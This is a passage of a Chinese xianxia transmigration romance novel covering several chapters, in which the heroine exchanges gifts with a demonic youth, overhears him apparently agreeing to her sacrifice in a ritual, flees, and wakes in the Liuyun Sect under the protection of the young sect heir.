送他的礼物 月光穿透树缝, 如瀑布般倾泻而下,洒落在少年一袭红衣上。 他已不再是流云宗弟子的容貌,现在的这张脸, 有着与真身最为接近的五官。 “你来了。” 月色尽头, 青袍人负手而立, 听见身后的声响,他不紧不慢回过身,一张扁平的脸上布满斑点。 是那日抬棺的扁平脸。 他走下石阶, 见对方只身一人前来, 脸色稍有不悦∶“小道友, 我们白天明明说的好好的,临时反悔可就没意思了。” “人我已经带到了, ”祁无恙淡淡地说,也不抬眼看他一看, “说到反悔,你用幻术坑了我两回, 怎么,想算算账吗?” 青袍人嘿嘿地笑出了声, 将手一抬, 便有一片片花瓣缠绕左右。他叹息一声,道∶“小道友灵力并不在我之下,只可惜我这幻术碰到即生效, 你的灵力再高也抵抗不了。” 他说罢, 眯了眯眼, 笑着说∶“只不过,我这幻术和别人的不同,它可不仅仅只是幻觉。小道友, 你在我的幻境中所看见的,你往后都会再经历一遍。而和我合作,就是你最好的选择,怎么样,是不是还要好好感谢感谢我?” “……” 祁无恙不咸不淡地睨了他一眼,转身便走。 “慢着,”青袍人霎时收敛起那副嘻嘻哈哈的作态,道∶“把她带出来,仪式今夜便可开始。” 少年微微一顿,回身望了他一眼,似笑非笑的目光中透着杀意∶“谁准你今夜开始?”t 青袍人笑意瞬间褪去,阴沉着脸道∶“怎么,你想反悔?你可别忘了,在幻境里都看见过什么。” “幻境”二字,便如同一把无形的刀,被少女紧紧握在手中,又毫不犹豫地刺入他的胸膛,虽不见一滴血,却在伤口处旋起一阵钝痛。 见对方默不作声,青袍人走近几步,站到少年身旁,一面叹气一面抬起一只手,但还未来得及碰到对方肩膀,便被毫不留情地拂开了。 “不好意思,”祁无恙弹去肩膀上不存在的脏物,淡淡一笑∶“我不喜与外人触碰。” 青袍人略显尴尬地缩回手,冷哼一声,道∶“想不到你竟真的对她动了心,不过你应该比我更清楚,这世上不会背叛你的只有你自己。是你那无关痛痒的情爱重要,还是活命重要,我想你不会做不出抉择。” 他一拂衣袖,青色的长袍不多时便消失在夜色中,少年微微仰首,那一席话随风飘进耳中。 “我给你时间考虑,待你想通之后,随时可来此与我会合。” * 屋内烛火摇曳,倒映在斑驳的墙壁上,散乱的稻草落了一地。 徐颂禾端坐在被自己抠得乱七八糟的草榻上,有一搭没一搭地看着窗户外的月亮,思绪早已飘得老远——她已经换过无数个睡姿了,但事实证明,在听到那不靠谱的系统带来的炸裂消息后,今夜是无论如何也睡不着的了。 她干脆翻身坐起来,外面静悄悄的,不知道祁无恙还在不在……现在天太黑了,她一个人也不敢出去。 “系统,你确实是弄错了?”她仍是不敢相信,它在别的事情上掉链子也就算了,怎么能连攻略对象这么重要的信息都能搞错?! 系统的声音也委委屈屈的∶“这也不能全怪我呀……虽然祁无恙的确是宿主睁眼后距离最近的,但……但他不是人呀,他是妖怪,这不能算。” 徐颂禾揉了揉额头,简直要被气笑了∶“就算是这样,离我最近的人也不可能是卓少主呀。要这么说来,我第一个接触的人还是流云镇的那两个守卫呢!你要我去攻略他们吗?” 系统说道∶“宿主先别生气,还记不记得妖怪窝里,趴在你脚边的那只兔子?” “兔子怎么了?你可别告诉我,那只兔子就是卓子墨……” 一语未完,她自己先顿住了。 系统沉默了几秒钟,大概也觉得荒唐。 当时她以为那位所谓的“未来夫君”是自己穿越后碰到的第一个活人,还自然而然对他产生了同类之间的惺惺相惜,却没想到他是只妖——好吧,即便后来知道了,她也从没往攻略对象这事上想过。 而被误认为是妖怪变成的兔子居然才是人,还成了她真正的攻略对象。 “所以……好感度其实是卓子墨的?”她安静了好半晌才问出口,得来的是肯定的答复。 徐颂禾还是不死心∶“那我问你要攻略对象的记忆碎片,你干嘛给我祁无恙的?” 系统“一脸”无辜∶“宿主,你指名道姓说了要他的,我就给了……你要是说的清楚一些,我肯定在那时候就能发现了。” “……” 怎么还成了她的错了? 系统安慰她∶“这是好事呀,宿主你想想,卓子墨又帅对你又温柔,关键是好感度还这么高了,你等天一亮就赶快回流云宗去找他,到时候成完婚,好感度没准就能满值,宿主就能回家啦!” 真有这么简单? 徐颂禾微微一愣,“回家”这个词对她而言实在太具诱惑力,穿越到这个鬼地方之后,这便是支撑她活下去的最大的念想。 然而现在,有这样一个轻而易举就能回家的机会,她却犹豫了。 回想起之前和祁无恙说过的种种,负罪感就更深了。 “你知不知道,我如果真的照你说的那样做了,会很像一个……负心女?” 如果他问起来呢?她该怎么狡辩?说自己移情别恋,一夜之间突然就爱上卓少主了? 徐颂禾辗转反侧,一个答案从脑海中蹦出来时,窗外的天也亮了。 下定了决心,她蹑手蹑脚地推开门,发觉屋外无人,便趁机沿着来时的方向一路返回。 系统欢快的声音响起∶“宿主你想通啦?” “什么呀,我是要去给他准备礼物。要是就这样不告而别,恐怕他会难过的。” 一夜未眠,她算是想明白了,不管怎么样,自己都是要回家的,只是这样一来,就不清楚祁无恙对自己的好感度了——虽说没有具体的数字,但她能感觉到,他对她总是不一样的,多多少少肯定是喜欢她的。 他看到礼物之后,会开心的吧?到时候再好好和他解释一番,攻略任务完成之后,说不定还能带着他一起回去。 “检测到今天不是祁无恙的生辰,宿主为什么要送礼物?” “送礼物要什么理由呀?”徐颂禾想了一想,说道∶“实在要的话……那就纪念一下我们认识的第二百天!” * 原本半掩着的屋门被风吹开,“吱呀”声响在空无一人的屋内回荡着,显得格外寂静。 少年脸上有一瞬间的怔愣,旋即眸色骤冷,阴沉着脸大步走进屋中。 “……徐颂禾。” 他不带一点感情地唤了一遍她的名字,无人应答。 心底升起一阵没来由的烦躁——她会去哪?跟在他身边这么久,别的没学会,倒是学会了不告而别。 “我和你一样厌恶那些名门正派,但以你我目前的能力,恐怕还远不足以和他们抗衡。不过我已经研究出了能使人短时间内灵力大增的阵法,只是此阵特殊,需以无灵丹者为祭品,方能启动。我寻觅上百年,她是唯一一个合适之人,届时阵法一成,对你百利而无一害。舍弃区区一个毫无用处的丫头罢了,希望你不要给出让我失望的答复。” 昨日湖边,那一身青袍,那一席话,又一次涌进脑中。 杀意刹那间如失控般弥漫开来,祁无恙几乎没有任何犹豫地夺门而出,他身上甚至没有一件像样的武器,只随意将一截枯木折成的“弓”捏在手中,不知是不是过于用力的原因,连指尖都在微微泛白。 “出来。” 他走回一刻钟前才离开的那块地上,望着不远处隆起的小山丘,唇角不可抑制地向上扬了扬。 “我说过,我会答应你,但不是现在,”他冷笑着抬起手,那柄简陋的弓便从宽大的衣袖中露出头来,透着掩饰不住的杀气,“如果是你杀了她,那你也去死好了。” 然而,那地方空落落没有一个人影,只有风卷着残叶从半空中飞过。 身后蓦地传来一阵窸窸窣窣的声响,像是脚踩在落叶上的声音。他几乎是在同时回过身,少女鲜活的身影就这般猝不及防跳入眼帘。 徐颂禾怀里抱着一个鼓鼓囊囊的东西,她用奇怪的目光看着他,小心地问道∶“祁无恙,你……你是在和什么人说话吗?” 他似乎僵在了原地。 少年方才死灰般的面色一点一点染上活气,他手中的枯木弓仍保持着抬起的姿势,杀气却像是被凭空掐断了源头,僵在半空,无所适从。 她……没死? 这个人在他的认知里应该已经死了,可她现在就站在那里,怀里不知抱着什么。阳光洒落下来,一条彩色的瀑布就在她身上流动着。 “没什么。”良久,他松开手,那截弓摔在地上,断成了两半。 徐颂禾也没把他方才的行为放在心上,她将怀里的东西抱得更紧,弯了弯眼睛,说∶“你要不要猜一猜,我带了什么回来?” 祁无恙只是淡淡瞥了一眼∶“没兴趣。” “哎,你别急着走呀。”徐颂禾呆呆地盯了他的背影好一会儿,随后立刻追上去,张开手拦在他面前。 “你看,喜不喜欢?” 徐颂禾将手从身后探出,一盏藤枝编就的灯笼就这般悬在了她的指尖。 灯笼上的光亮扑朔朔的,映亮了少年眼中的错愕。 她弯起一双眉眼,一席话如泉水般流进他心里。 “这种草名叫长明草,它身上的光永远不会熄灭。有了这盏灯笼,你往后再也不会独自一人面对黑暗了。” 第52章 还想住一起? 他没有任何反应地杵在那里, 只有一双眼睫轻轻颤抖,底下有光亮颤动。 徐颂禾眨了眨眼睛,感到些许失落∶“你……你不喜欢吗?” 虽然的确不是什么很值钱的东西, 但那也是她费了好大劲才做成的呀!她还专门打听了一番, 特意选了这种可以长久发光的草, 为了编这盏灯笼,她的手指还被割破了呢。 “你跑出去,就是为了这个?” 这一趟去得的确是有些久了, 但那也不能怪她, 她才出去没多久, 忽然一道掌风从天而降,直冲她脑门而来, 要不是她跑得快,只怕现在已经没有命站在这了。 只不过现在回忆起来, 那个人似乎有些眼熟。 他身上穿的和那时想偷袭她未果后又跟着上流云宗的人一模一样,可是那张脸……那张脸又好像是意外交换身体那一次, 在棺材里看见的那个男子。 他为什么还追到这里来了?不对,他怎么会知道他们在这? “嗯啊。”徐颂禾勉强回过神, 短暂地思考了一下, 还是决定先不将此事告诉他,毕竟还不确定那人的真实身份,而且根据上次的经验, 他根本打不过祁无恙, 也就没什么好担心的。 她拉过他的手, 不管不顾地把灯笼挂在他指尖,道∶“你可要好好保管呀,以后要是我不在了, 还有它陪着你。” 他眼皮轻轻跳了一下,低眸端详那盏小巧又精致的灯笼。 系统又不合时宜地催促起来∶“宿主,快快找了借口跑去流云宗找卓少主呀,攻略任务的完成指日可待了!” “可是就这样走了,他又会变成一个人,这对他也太残忍了。再给我三天时间吧,就三天。” 徐颂禾让这声音吵得晃了下神,她悄悄抬眼看着少年,小声地问∶“系统,能不能查到祁无恙现在对我的好感度?” “抱歉宿主,暂时无法获取攻略对象以外的人的好感度。” 祁无恙垂手将灯笼收起来,恰好碰上少女直勾勾的目光,微微蹙了下眉∶“你有话要说?” 徐颂禾点点头,酝酿了一下之后,第三次问出了这个问题∶“祁无恙,你喜不喜欢我呀?” 那双亮晶晶的眼睛里盛满了期待,他轻轻一笑,说∶“你已经问过我了。” “可是前几次,你都没有给我答案,”徐颂禾追着他飘忽不定的视线,小声说∶“我已经告诉过你什么是喜欢了,你还是不清楚吗?” 但其实,眼下她自己都不清楚,想从他这听到什么样的答案。 攻略对象已经不是他了,她早晚是要走的,只是如果他说喜欢,她也会愿意多陪陪他,好好和他解释清楚,要是可以,她想带着他一起离开。 他却毫无征兆地欺近一步,微微俯身,灼灼目光似要将她的心脏洞穿∶“你为什么喜欢我?” “我……” 徐颂禾不知道该怎么回答这个问题,如果不是为了攻略任务,如果不是闹了一场乌龙,他们之间根本不会有交集。 “对了,你不是说,要带我回家吗?”她岔开话题,心道再多和他待上几日也无妨,这样一来,她心里出于“欺骗”的愧疚也会少些。 他“嗯”了一声,淡淡道∶“再等一日。” 为什么还要等?徐颂禾看了看四周,不明白这种地方有什么好继续待的。 “把这个敷上。” 正当她愣神时,手腕忽然被人拉起来,一丝冰冰凉凉的触感爬上指尖。 她低头一看,被碾出汁水的草药糊在手指上,遮住了斑斑血迹。 徐颂禾有点惊讶∶“你怎么知道我的手受伤了?” 他勾勾唇,讥诮一笑∶“不会做的事还要逞能,你很喜欢流血?” “……那不是送给你的嘛。”她小声嘀咕了句,又见他转身不知要去哪里,赶紧追上去跟在他身侧,还忍不住时不时仰头看看他的脸。 祁无恙感受到她的视线,问道∶“我脸上有东西?” “没有没有,”徐颂禾摆了摆手,目光仍是停留在他身上,“你什么时候换的身体呀?可真好看。” 这句没来由的夸赞令对方微微皱起眉,他微微眯起眼,笑着看向她∶“你喜欢?我可以送一副作为回礼。” 徐颂禾吓了一跳——她只是送了盏灯,这个回礼是不是也太大了点? 她磕磕绊绊地回道∶“不不……不用了,我觉得我现在这样就挺好的。” 以后再也不要当颜控了!怎么一碰到好看的就忍不住想看? 面前的人忽然停下脚步,她一个没刹住,险些撞上去。 “怎么了……” 祁无恙回过身,在她面前抬起手,一条白花花的手链就这样出现在眼前。 “你……送给我的?” 徐颂禾抬眸看着他,眼睛里一半是诧异,一半是惊喜。 然而没等她伸手去接,那条手链便如认了主似的,自己滑落到她手背上,她低下去伸手一抓,便把它握在了手心里。 手链中间还镶嵌着一块漂亮的珠子,在太阳底下还会发光。她暗暗奇怪,想不到这个人居然还会做这样精致的手工。 “这是我给你的礼物,”他微微一笑,眼底却没有笑意∶“只此一个,你如果弄丢了……” 徐颂禾郑重其事地把它收好,一脸的认真∶“你放心,我一定会好好保管的。” 她说完,又好奇地捏了捏那颗珠子,问道∶“我能问问这是什么吗?” “你不喜欢?” “喜欢呀,我就是问问……” “你没必要知道,”祁无恙静默地看了她片刻,最后在少女充满困惑的眼神下开口∶“能救你小命的东西,我说过,我不会每时每刻都管你的死活。” 她似懂非懂地点了点头,能不能救她的命这个问题的真实性暂且不说,这手链倒是挺好看的,当个装饰品也不错。 正反复摩挲着那颗漂亮珠子,对方忽地停下脚步,回过头来微笑着看她∶“还有什么想去的地方吗?” 事实上她对这个世界的所有地方都不太感兴趣,但他现在问起来,她稍加思索,便顺口答道∶“不如就回流云镇吧,反正卓少主暂时也不会伤害我们。而且说不定还能在那碰到阿生。” 流云镇可太好了,现在这地方荒郊野岭的,她还不认识路,让祁无恙带着自己回去,到时候也方便她跑路。 说起阿生,那一别之后就杳无音讯了,连他现在是死是活都不知道,更别提见面了。 这个答案似乎有些出乎意料,祁无恙唇边那点浅淡的笑意倏地隐去,直到她被看得心里发毛时,才慢条斯理地开了口,声音听不出喜怒∶“好。” 没想到他会答应得这么干脆,徐颂禾连忙跟上去,一提起阿生,她又想到中蛊一事,提心吊胆地问∶“那个蛊……什么时候会生效?” 要是在去了流云宗之后生效,那可大事不妙了,她可不想让好感度因为这个降低。 祁无恙道∶“不会生效了。” “什么?” 徐颂禾略带诧异地看过去,对方却没再作声,她便也不问了。 那眼熟的城门再一次出现在眼前,徐颂禾不由得心跳加快——这也许是最后一次踏进这里了,如果顺利的话,过不了多久她就能回家了。 “你在笑什么?” 冷不丁冒出的一句话令她方才的遐想骤然破灭,徐颂禾慌乱地避开对方投来的带着探寻的目光,遮掩道∶“没、没什么,我就是太开心了。” 他却仍不移开视线∶“为什么是这里?你不是说,以后都心甘情愿跟着我吗?” 她被问住了,一时间不知道怎么解释才好。再三斟酌后,小心翼翼地说∶“你还记不记得找回灵丹那一次,看见的抬棺的都那个人?今天早上,我好像又看见他了。” 生怕他不信,她赶紧又补充道∶“虽然不能完全确定,但他长得很特别,八成不会错。他跟到这里来,肯定是还在觊觎你的东西,还是小心为妙。” 祁无恙轻挑了下眉,道∶“你是想说,来这里是为了我?” 她点头如捣蒜∶“当然了!你想想啊,这里人这么多,那家伙就算想动手,也找不到我们呀。” 如此合理的解释,想必他也不会再追问自己了。 然而他没说信,也没说不信,只转过身,不紧不慢地留给她一个背影。 “我们今晚就待在这吗?” 徐颂禾抬头打量了一下眼前的客栈,好奇地说∶“这里什么时候开的新客栈?前几次都没看到呢。” “是你记错了。” 他走进屋,低着声和柜台前的人交谈了几句,随后转身上了楼。 “哎,还没给钱呢……” 徐颂禾急匆匆跟上去,一摸衣兜,发现里面空空如t也。她脸上顿时一阵热,正想拉着人离开,忽然瞥见那客栈掌柜的斜躺在门口的椅子上,一副毫不在意的模样,见她回头,还慈祥地笑着挥了挥手。 这……他刚刚是说了什么?掌柜的连钱都不收了,就这样让他们住进去。 她快步走上台阶,小声道∶“祁无恙,你觉不觉得,这地方有点不对劲?” 天才刚黑下去不久,这客栈就没有一点人声了,这么大一家客栈,不可能只有他们两个客人,真是奇怪得很。 “没什么不对劲的,”他今夜看上去似乎很着急,随手推开了一间门,对她说∶“我给你的东西呢?” 徐颂禾摸了下衣袖,拿出那条手链∶“在这呢,我总不至于这么快就弄丢了。” 他垂眸凝视她片刻,似乎还有别的话想说,但最终只点了点头,道∶“睡吧,明天见。” “等一等……” 徐颂禾眼疾手快地卡住门缝,另一只手抓着衣角不让他走。 这走向有点不对吧?祁无恙为什么会对她说出“明天见”这种话?剧情离谱也就算了,现在连人设也崩了吗? 他微微垂眸,眉眼间尽是不解∶“怎么了?” “你……你要去哪里呀?” 祁无恙看着她,忽地一笑∶“怎么,你还想和我住一起?” 第53章 他是个骗子 徐颂禾一愣, 赶紧松开手,顺便在衣角被自己拽出的褶皱上拍了拍,尴尬地笑了一下∶“不好意思呀……可我还是觉得不太对劲, 是不是有点太安静了?” “没什么不对劲的, ”祁无恙把她拂开, 幽幽地说∶“我在,你还怕什么?” 也是,就没有什么是他搞不定的, 而且这里是流云镇, 这么多活人在呢, 就算有鬼也有阳气镇压。 关上房门后,耳边算是彻底清净了下来, 徐颂禾找来纸笔,咬着笔杆看向窗外, 皱着眉毛想了很久才开始落笔。 “其实之前是我认错了人,都是我不好, 谢谢你这么久以来的保护,祝你安好……” 写到一半, 她又停下笔, 果断地把它们划掉了。 忘了他不识字,她写这么多也没用呀。 徐颂禾重重叹口气,干脆搁下笔, 翻身躺到床上滚了一圈。昨天就一夜没睡, 到了现在居然还是没有一点困意, 果然在奇怪的地方待久了,她自己都要变得不正常了。 桌台上摆放着一支蜡烛,烟熏般的味道弥漫在空气中, 不知为何,盯着它看久了,上下眼皮便忍不住要碰到一块。但刚一躺下,那些纷杂的思绪便又浮上心头。 说是要再等三天,可实际上,就算再有三十天,她也不知道该怎么和祁无恙解释。 他会把她这样的行为归于“背叛”吗? 系统仿佛精准读取了她的想法,开始喋喋不休地劝道∶“趁他现在没注意,宿主不如赶紧跑,等他反应过来时,你已经在流云宗啦。” 徐颂禾觉得这家伙想坑自己,当即反驳道∶“即便不考虑道德角度,但你有没有想过,万一他找上门来了呢?我如果在任务完成之前就被他掐死了怎么办?” 可接下来系统的一席话却令她骤然愣住,一时间无所适从。 “宿主为什么会觉得他会来找你?现在根本无法得知他对你的好感度,且根据现有剧情,祁无恙是原著最大反派,他答应把你留在身边这么久,八成是别有图谋,指不定哪一天就把你抓去扒皮啦。” 是啊,她凭什么觉得祁无恙一定会来找她? 虽然系统的话不能全信,但毕竟没有一个准确的数字,单单凭他救过她几次,就能断定他喜欢自己吗? 说不定她走了之后,人家压根不在意呢。 再三思量,徐颂禾最终下了决心∶“我明天和他说过之后就离开,总行了吧?你不许再催我了。” 好不容易想出这么一个看上去还算靠谱的解决方案,她安心地躺下去,打算凭着滋生出的一点困意尽快入睡。 意识在疲惫中沉沉浮浮,不知过了多久,一阵极轻微的声音冒昧地钻入她半梦半醒的迷障里。 “哎,怪不得没人来呢,这怎么还有老鼠?” 徐颂禾揉了揉惺忪的眼,强撑着困意爬起身来,拿起桌上的蜡烛,朝角落里那个一闪而过的黑影走去。 “你你……你快从窗户那出去吧,我可不想碰你呀。” 她最怕老鼠了,但又担心它会趁夜里爬到脸上,只好硬着头皮,想挪过去把窗户推开。 便在此时,一个模糊的身影从窗旁掠过,徐颂禾眼睛一亮——他也没睡,那就有人帮忙捉老鼠了! 她端着蜡烛悄悄靠近窗缝,正要开口呼唤,一个声音忽然透过缝隙传进来,她微微一顿,把话咽了回去。 这声音出自一道又胖又矮的黑影,她贴得更近了一些,依据那个朦胧的轮廓,大致推断出这是方才那位客栈掌柜。 大半夜的他在这里做什么?徐颂禾顿时一阵头皮发麻,刚才就觉得不对劲,现在看来他果然图谋不轨。 她第一反应是必须赶快去叫醒祁无恙,手刚搭在门把手上,忽地又听见一个沉沉的声音∶ “屋里有迷香,她不会醒来的。” 徐颂禾按在门上的手一顿,满眼惊诧地将目光顺着门缝望出去。 这个声音…… 她紧咬牙关,强压住脑海里那些可怕的想法。 话音落地,一道红衣身影从角落里悠悠转出。借着手里微弱的烛光,她看见站在那儿的是两个人。 也看清了他们的样貌,其中一个就是偷袭她的扁平脸,白天碰见的就是他,她肯定没有认错! 徐颂禾脑子“嗡”的一响,心脏霎时揪紧了——难道祁无恙比她更早地察觉到了,现在是要和他动手了吗? 她视线焦急地在屋内转了一圈,想找件趁手的武器出去帮忙,手指却在触碰到桌上冰凉的茶壶时猛地僵住。 等一下。 刚刚那句“迷香”是从祁无恙口中说出来的吗? 谁不会醒来?她吗? 门外蓦地响起一阵笑声,她屏住呼吸,那扁平脸的声音便清晰地传入耳中。 “看来你还不算执念太深,孺子可教也。放心,事成之后,好处少不了你的。” 少年一张面孔浸在黑暗中,辨不出神情,只能听见他平静如水的声音∶“我只有一个要求,别让她死得太痛苦。” 扁平脸“呵呵”两声,道∶“她毕竟对你有过帮助,想让她少受点痛苦也能理解。只不过此阵需将祭品活活抽筋剔骨,她没有灵丹在身,痛苦只会加倍,我也只能尽力让仪式快些结束。” 什么仪式?要抽谁的筋,要让谁死? 徐颂禾听得怔住,目光不甘地锁在少年身上,也将最后的全部希望寄托在了那里。 然后,她听见那个白日里送她手链,告诉她能护她周全的人,用平淡如常的声音说∶ “好。” 只这一个字,令她浑身血液骤然发凉,然而她根本没有时间细细悲伤,那阵脚步声越来越近,很快便逼近了房门前。 徐颂禾瞳孔微微一缩,还来不及思考,双脚便已带着她躺回了榻上,慌乱之中,在把那支蜡烛放回原位时,不慎将其打翻,滚烫的烛泪飞溅开来,有几滴正落在她下意识护住脸颊的手背上,带来一阵尖锐的刺痛。 “什么声音?” 门外脚步声停了一瞬,取而代之的是掌柜充满警惕的声音。 徐颂禾死死咬住下唇,莫大的恐惧侵入四肢百骸,她感觉到自己的身体正抑制不住地发抖,又怕被他们察觉出来,只好将自己一整个裹在被子里,大脑只余一片空白。 正在此时,床尾不知为何又是噼里啪啦一顿响,紧接着便听见扁平脸咬牙切齿的声音∶“哪里来的老鼠?竟还敢咬我……” 徐颂禾缩成一团,一点声音也不敢发出。她感觉到有道视线落在自己背后,旋即那声音冷冷地道∶“是它弄出的动静,我说过她不会醒,你没必要对我如此不信任。” 心跳快到几乎要冲破胸腔的闷痛感逐渐平息,她刚从被褥里探出头,便又听见那扁平脸的催促声∶“你留在这看住她,我去准备阵法。” “不必了,她手上有我布下的枷锁,跑不了。” 那声音和平常无异,却如同惊雷在耳旁炸开,徐颂禾感到脸颊上有冰凉的液体滑落下来,麻木地伸手一摸,是眼泪。 为什么?凭什么! 那东西根本不是保命用的,是来索命的!这个骗子是不是从一开始就在利用她? 也怪她自己,怎么能让情感超越了攻略任务的范畴,竟真的对他生出那么一丝情愫,还觉得他对自己也是喜欢的t。 之前不让她死,看来也只是因为她还有用罢了。 徐颂禾觉得自己应该是坚强的,起码不会在这种事上栽跟头,可即便她咬紧了唇不让自己发出声音,一颗颗豆大的眼泪还是顺着脸庞滚落,洇湿了底下的枕头。 不知是不是祁无恙口中的迷香起了作用,脑袋逐渐开始发沉,意识模糊间,她听见房门被关上的咔擦声,紧接着门外的脚步声缓缓远去。 一片死寂中,系统的声音将她唤了回来∶“宿主别难过了,趁他们不在,赶快逃跑吧!” 对,现在不是难过的时候,为他也没什么掉眼泪的必要。徐颂禾一骨碌爬起来,手腕却被一个硬邦邦的东西硌了一下,低头一看,是那条手链。 心头的怒火一下子被点燃了,她拽下手链,愤愤地把它摔在了地上。这一下没能摔碎,心里气不过,又在上面狠狠踩了两脚。 打不过他,拿他的东西出出气还不行吗? 气也撒够了,徐颂禾没敢再多做停留,所幸楼层不高,她推开向外的窗户,探头往下看了看。下面是松软的泥土地,还有些杂草。 她咬咬牙,心一横,爬上窗台,纵身跳了下去。 “哎……” 徐颂禾赶紧捂住嘴,将那呼之欲出的呻.吟硬生生憋了回去。她挣扎着爬起来,忽然感到不对。 她不是在流云镇吗?客栈下面怎么会是泥土地呢? 一股不祥的预感席卷而来,她猛地抬头,映入眼帘的是影影绰绰的枯树,再回头一瞧,哪里还有什么客栈?只有一间破败的房子孤零零立在那。 这不是…… 她僵硬地抬起手,手心还沾了一小根稻草。 祁无恙没带她走,她压根没从那里离开。 她绝望地环顾四周,枯树经夜风摩擦发出的声音仿佛都在告诉她,她今夜必须死。 徐颂禾揩去额上冷汗,扶着树干摇摇晃晃地站起身来。 她可以死,但不能等死。 沿着月光照到的地方一路往前跑,或许是方才的迷香在此刻起了作用,每每要栽倒之时,脚踝处的刺痛都能帮助她保持清醒。 徐颂禾不敢回头,只能拼尽最后一丝力气冲向前方看似开阔的地带。 就在她以为他们不会再追来,自己就快要得救时,一道修长的身影却蓦然出现在月光下,拦住了她的去路。 那人背对着月光,面容模糊,只能看清一个轮廓。 “……” 看来是真的要她死。 徐颂禾转身还想跑,可身体却仿佛被抽干了力气,软绵绵地向前栽去。 不知是不是错觉,在意识彻底沉入黑暗的前一刻,身后那人似乎还带着急促唤了她一声。 第54章 为什么要逃 “逃啊。” 少年翘着唇角, 一袭红衣猎猎,犹如阴魂不散的鬼般跟在她身后。 “你以为你还能逃去哪?” 徐颂禾不敢回头,喉咙一阵阵发疼, 如何也发不出声音。她隐约感到脚下的大地正不断晃动着, 一个不慎便被绊倒在地。 手掌被生出的尖刺划破了, 她爬起来想继续跑,可刚迈出两步,脚腕便像是被一只无形的手攥住了似的, 再一次栽倒下去。 从周围的地底下, 生出一排排形似巨蟒的藤蔓, 将她一圈圈缠了起来。 徐颂禾望着那个越来越近的身影,眼中的绝望几乎要溢出来。她手撑着地往后退了退, 声音嘶哑∶“你、你别过来……” 但对方显然不会因为这么一句话就放过她,他噙着意味不明的笑意走近, 眼里倒映出她惊恐的模样,像在欣赏一只濒死的猎物。 “你想死吗?” “别……别碰我, 快走开!” 用力一挥手,却反被另一股力道扣住, 她心头一惊, 猛地睁开眼,与一双满是关切的眼睛四目相对。 “阿禾,你醒了?” 瞧见那张熟悉的面孔, 徐颂禾一时间惊喜交加, 喉咙间一口气险些没喘上来, 捂着胸口被呛了好半晌。 卓子墨连忙端来一杯水,递到她面前,道∶“阿禾, 你可还觉得哪里难受?” “我……” 徐颂禾接过那杯水,只抿了两口就咽不下去了,浑身没有一点力气。她环顾四周,眼神茫然∶“我这是在哪里?” “这里是流云宗,”卓子墨握住她的手心,温暖的触感让她冰凉的手指渐渐回暖,“有我在,你不用怕。” 少女却突然挣开手,望向他的一双眼里满是惊疑不定∶“你是谁?” 他微微一怔,随即露出又是心疼又是无奈的神色,轻叹口气∶“阿禾,是我,我是小白啊。” 他是小白这件事扁平脸绝对不知道,徐颂禾紧绷着的心弦骤然松开,眼泪也随之夺眶而出∶“小白,我差点就看不见你了……” 见她突然就哭了,卓子墨瞬间变得不知所措起来。他不知道怎么安慰女孩子,眼下只觉得一阵愧疚∶“都是我不好,是我来得太晚,害你受惊了……” 徐颂禾停止了哭泣,两只含泪的眼睛看着他∶“小白,你是怎么找到我的?” 连她自己都不知道自己在哪,他是怎么能出现得那么及时的?而且,就算真有那么巧,他又是怎么在祁无恙手底下把她带走的? 然而还未等来回答,紧闭着的屋门忽然被人踹开,卓不凡阴沉着脸走进屋来,她立马往卓子墨身后缩,但还是让来人看清了脸。 卓不凡脸上怒气更甚,连嘴唇都被气得发抖∶“你这逆子,你把这妖女带回来做什么?!” 卓子墨抬袖遮住身后的少女,声音冷静∶“爹,她是孩儿的心上人,不是什么妖女。” 这是好儿子为了一个外人第二次和自己顶嘴,卓不凡一时无言,瞟到桌上那杯水,突然将其夺过,狠狠朝他泼去。 卓子墨闭上眼,任凭冷水流了满面。 这下看来绝对不是幻觉了,徐颂禾震惊地看着他们,大脑宕机了一瞬,随后摸出一条手帕,塞到他怀里,干巴巴地说∶“你……你擦擦吧。” 这种时候她还能做什么呢?之前帮着祁无恙给他们留下了那么不好的印象,恐怕现在再怎么样也没法让他们对自己改观了。 卓子墨攥紧那手帕,却并不擦拭脸上的水珠,他站起身,目光坚定地迎上对方震怒的视线∶“爹,我说过会护她周全,如果她愿意,我会娶她为妻。” “你说什么?” 他扬起哆嗦着的手,眼看就要落下,却在半空中硬生生停住。卓不凡死死盯着儿子倔强的面容,胸口剧烈起伏,最终狠狠甩袖∶“你……你要敢娶她,今日起便卸去少主之位,永不得继任宗主。” “好啊,”卓子墨淡淡一笑,朝父亲逼近一步,眼中并无退缩之意∶“一个少主罢了,父亲若是另有他选,孩儿大可随时让位。” “你……” “从小到大,我的日子里除了修炼就只有修炼,被迫变成兔子,和阿禾一起浪迹天涯的时光反而是我一生中最快乐的,”他注视着卓不凡眼里的震怒和惊愕,道∶“自幼您便对我要求严苛,不止一次承诺过迟早会将宗主传位于我,孩儿自然感激不尽。可您从未问过,我真正想要什么。您对外逢人便说我天赋异禀,是个不可多得的好苗子,可事实难道真是如此吗? “只有我知道,我其实根本没有什么所谓的天赋,只不过我比弟弟更听话,更能被掌控。那些修为,那些赞誉,都是我用无数个不眠不休的日夜换来的。我比任何人都努力,只是因为我怕让您失望。可是您呢?又何曾在意过我?” 这些话像一记重锤,狠狠砸在了卓不凡心上。他从没见过自己引以为傲的长子这般神态,也从不知这么多年来,自己竟给他带去了这许多苦难。 卓不凡闭了闭眼,长长吐出一口气∶“往后在其他事上,我不会再逼你,你愿意娶谁就娶,但是她不行,不仅我不同意,子寻也不会同意。” 卓子墨也不问为什么,只道∶“可孩儿此生非她不娶。” “住口!”卓不凡怒喝一声,道∶“你可知就因为她,你弟弟差点死在祁无恙那妖孽手里?如若那日不是我及时赶到,他早就被大火烧得连尸首都不见了!” 他说罢,恶狠狠地扫了一眼榻上的少女,冷哼一声,拂袖而去。 沉重的木门“砰”地一声关上,屋内陷入一片死寂。徐颂禾还沉浸在他们方才的激烈争吵中,听见最后那句话,眉毛轻轻一皱。 祁无恙会因为她t放火杀人?那是什么时候的事? 记忆瞬间被拉回,定格在她被蛊术控制,成为“阿生姐姐”的时候。那时卓子寻不分青红皂白便把她抓起来审问,还是祁无恙赶来救了她。 看来他是说谎了,他就没打算放过卓子寻。 徐颂禾顿时觉得头疼——这误会不就更大了吗?祁无恙救她只是因为她还有利用价值,至于为什么要杀卓子寻,约莫也是因为他和流云宗之间有仇罢了,现在怎么都归根到她身上了? 她伸手去抓卓子墨的衣角,道∶“小白,你听我说,我和祁无恙真的……” 话到一半,她忽然停住不说了,松开手,小声道∶“谢谢你救了我,很抱歉给你们添了麻烦,我现在就离开,以后也尽量不会和你见面了。” 